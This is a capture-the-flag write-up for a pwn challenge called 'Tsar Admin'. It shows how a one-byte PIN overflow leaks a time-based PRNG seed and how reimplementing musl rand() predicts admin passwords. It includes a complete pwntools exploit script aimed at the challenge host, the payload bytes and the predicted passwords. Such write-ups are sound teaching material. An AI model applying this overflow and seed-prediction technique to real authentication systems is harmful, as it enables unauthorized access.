Tsar Admin
Tsar Admin
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: musl_rand_reimplementation, off_by_one_flag_flip, password_prediction, seed_leak_exploitation
Summary
Task: a console admin login contains a one-byte overflow in the PIN input, and the archive includes a password generator seeded with time(NULL). Solution: flip a nearby flag with 133\x01 to leak the seed, then reproduce Alpine 3.18.2 musl rand() to predict the correct temporary admin password.
Tsar Admin — hackerlab
Description
Царями-админами могут быть только несколько человек! Это понимают наши разработчики консольного интерфейса к CTF, поэтому сделали особый вариант авторизации для админов...
А ещё мы используем только самые популярные шифры и кодировки!
This challenge is a remote admin login service. We are given a suspicious cipher string plus helper binaries cipher, gen, and task_local. The final goal is to log in as the special admin user and recover the real remote flag.
Challenge Summary
- Target service:
62.173.140.174:17800 - Main bug: 1-byte overflow in the admin PIN input
- Useful side effect: overflow can flip a nearby
print_seedflag and leak the PRNG seed - Hidden trap: the remote password generation matches Alpine 3.18.2 / musl
rand(), not glibc - Final solve: leak seed, reproduce the 10 generated passwords, try the correct index
Reconnaissance and Reversing Observations
The archive contains three important components:
task_local— a local build that helps understand the interface, but does not perfectly represent the remote runtimegen— the password generator binarycipher— an encoded hint that identifies the correct libc/runtime family
Reversing gen gives the core password-generation logic:
seed = time(NULL)srand(seed)- Generate 10 passwords
- Each password has 50 lowercase characters
- Each character is
rand() % 26 + 'a' - Passwords are written to
/tmp/pass1.txtthrough/tmp/pass10.txt
So the challenge is not about brute-forcing a huge password space. It is about recovering the seed and matching the exact implementation of rand() used by the remote server.
Cipher Decoding
One clue is the provided cipher string. Decoding it through the chain below reveals the runtime hint:
text read-only • copy allowedROT13 -> Base64 decode -> octal decode -> hex decode -> ROT13
The result is:
text read-only • copy allowedalpine 3.18.2
This is the key environmental clue. If we regenerate passwords with glibc's rand(), the output is wrong. We must match the PRNG behavior of Alpine's musl libc.
Vulnerability Analysis
The relevant remote bug is a 1-byte overflow in the admin PIN input handler.
Important properties:
- the PIN check only requires that the input starts with
133 - one additional raw byte can overwrite an adjacent flag byte
- sending
b'133\x01'changes a nearbyprint_seedvariable from0to1
That flips a debug-style code path that prints the seed in hexadecimal, for example:
text read-only • copy allowed0x69d566fc
This is enough to completely break the password scheme, because gen uses time(NULL) directly as the PRNG seed.
Why musl vs glibc Matters
The local artifacts can easily mislead us into assuming that any C rand() implementation is fine. It is not.
The remote challenge must be solved with Alpine 3.18.2 / musl rand(), whose behavior is different from glibc. The implementation used here is:
c read-only • copy allowedsrand(unsigned s) { seed = s - 1; } rand() { seed = 6364136223846793005ULL * seed + 1; return seed >> 33; }
That means:
- the internal state is 64-bit
srand()storess - 1, not justs- each call advances the LCG and returns the upper bits
If we use glibc, every predicted password is wrong even with the correct leaked seed. The cipher hint exists specifically to steer us toward the correct runtime.
Exploitation Steps
1. Trigger the one-byte overflow
Connect to the service and send the admin PIN as raw bytes:
python read-only • copy allowedb'133\x01'
Because the service only checks that the input begins with 133, the trailing 0x01 is accepted and overwrites the adjacent flag byte.
2. Read the leaked seed
After the flag flip, the service prints the PRNG seed as hex. In the reproduced successful run, the leaked value was:
text read-only • copy allowed0x69d566fc
3. Reproduce musl password generation
Using that seed with musl's rand(), the 10 candidate passwords were:
text read-only • copy allowed0 sykaymcieuukwjkpkfcdwywqreqprxrpvmtazvrlzuudtzsygh 1 letafaqtibnltgbudisstwebzatxunfbftwzeemxakczpjvrvb 2 ojowugmjshqmmtdrqpdhmczrnrilfryvpedpqmejstjuelnegk 3 zmfvjqaocrokhsjaiekypufvftwdwlwxjsgzofbesvyubxjpia 4 hylvzukkhmshcsbwflbaaqbuuzuawtqiungmlhnksonboxjitw 5 apuxhxruolcxzkwfofvlsuxgdbicfuuttwdtrgomelkumhwknk 6 widvfwtvydgtrkpymgtfltlrhqgtpfvcyddjulgzdpgbkykflv 7 gnziubbpgfbqfkimlrgcikepaanzygyjmarorvvkecviwxzmdd 8 ydcinhrwmxppbcyjxylecaeodgdxiexysimsxdixjygjmntamc 9 jzljocetgnkfvowwgrawrmlnhcmbfxiyvunssabnjboztsukyg
4. Submit the correct generated password
In the successful session, the winning password was index 9:
text read-only • copy allowedjzljocetgnkfvowwgrawrmlnhcmbfxiyvunssabnjboztsukyg
Submitting it to the remote service returned the real flag.
Sample Exploit
The script below shows the full attack flow: leak the seed using 133\x01, regenerate passwords with musl's PRNG, and try all 10 candidates.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re HOST = "62.173.140.174" PORT = 17800 class MuslRand: def __init__(self, seed: int): self.seed = (seed - 1) & 0xffffffffffffffff def rand(self) -> int: self.seed = (6364136223846793005 * self.seed + 1) & 0xffffffffffffffff return self.seed >> 33 def gen_passwords(seed: int): r = MuslRand(seed) out = [] for _ in range(10): pw = "".join(chr(r.rand() % 26 + ord("a")) for _ in range(50)) out.append(pw) return out def leak_seed(io) -> int: io.recvuntil(b"PIN") io.sendline(b"133\x01") data = io.recvrepeat(1) m = re.search(rb"0x([0-9a-fA-F]+)", data) if not m: raise ValueError(f"seed leak not found in: {data!r}") return int(m.group(1), 16) def try_password(io, password: str): io.recvuntil(b"password") io.sendline(password.encode()) return io.recvrepeat(1) def main(): io = remote(HOST, PORT) seed = leak_seed(io) log.success(f"seed = {seed:#x}") passwords = gen_passwords(seed) for idx, pw in enumerate(passwords): log.info(f"trying index {idx}: {pw}") data = try_password(io, pw) if b"CODEBY{" in data: print(data.decode(errors="ignore")) break else: log.failure("no candidate worked in this session") io.close() if __name__ == "__main__": main()
Minimal musl Password Generator
If you only need local reproduction of the PRNG output, this reduced snippet is enough:
python read-only • copy allowed#!/usr/bin/env python3 def musl_passwords(seed: int): state = (seed - 1) & 0xffffffffffffffff def rnd(): nonlocal state state = (6364136223846793005 * state + 1) & 0xffffffffffffffff return state >> 33 result = [] for _ in range(10): pw = ''.join(chr(rnd() % 26 + ord('a')) for _ in range(50)) result.append(pw) return result for i, pw in enumerate(musl_passwords(0x69d566fc)): print(i, pw)
Final Flag
text read-only • copy allowedCODEBY{REDACTED}
Lessons Learned
- A one-byte overflow is enough if it flips an adjacent control flag.
- A leaked
time(NULL)seed completely destroys weak temporary-password schemes. - Environment hints matter: matching the wrong libc makes correct reversing look incorrect.
task_localwas useful for understanding the challenge, but the real remote behavior was determined by the remote Alpine/musl environment.